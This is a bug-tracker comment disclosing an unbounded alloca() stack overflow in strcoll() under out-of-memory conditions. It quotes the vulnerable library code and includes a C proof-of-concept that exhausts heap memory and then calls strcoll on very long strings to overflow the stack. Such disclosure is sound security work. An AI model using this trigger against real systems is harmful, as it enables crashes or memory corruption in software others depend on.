Comment 6 for bug 1048203

I've detailed another strcoll() security vulnerability below, which is an unbounded alloca() call.

alloca() stack overflow

If the malloc() call in alloca() fails (i.e. OOM conditions), strcoll() will failsafe to alloca() for allocating its memory, which could result in unbounded alloca() calls and exploitable
conditions if the stack pointer is shifted over the guard area and into the
heap. See vulnerable code below.

       if (idx1arr == NULL)
       /* No memory. Well, go with the stack then.

          XXX Once this implementation is stable we will handle this
          differently. Instead of precomputing the indeces we will
          do this in time. This means, though, that this happens for
          every pass again. */
          goto try_stack;
          use_malloc = 1;
       }
     else
       {
       try_stack:
         idx1arr = (int32_t *) alloca (s1len * sizeof (int32_t));
         idx2arr = (int32_t *) alloca (s2len * sizeof (int32_t));
         rule1arr = (unsigned char *) alloca (s1len);
         rule2arr = (unsigned char *) alloca (s2len);

[ ... ]

Here's my testcase / proof-of-concept for the issue.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

#define LEN 500000

int main() {

char *ptr1 = malloc(LEN + 1);
char *ptr2 = malloc(LEN + 1);
char *wasted = NULL;
int i = 0, ret = 0;

if(!ptr1 || !ptr2) {
    printf("memory allocation failed\n");
    return -1;
}

memset(ptr1, 0x61, LEN);
memset(ptr2, 0x61, LEN);

ptr1[LEN] = 0;
ptr2[LEN] = 0;

printf("strings allocated\n");

char *ptr = setlocale(LC_ALL, "en_US.UTF-8");
if(!ptr) {
    printf("error setting locale\n");
    return -1;
}

/* malloc() big chunks until we're out of memory */
do {
wasted = malloc(1000000);
printf("%p\n", wasted);
i++;
} while(wasted);

ret = strcoll(ptr1, ptr2);

if(!ret) {
    printf("strings were lexicographically identical\n");
}

else {
    printf("strings were different\n");
}

return 0;
}

Cheers,
Shaun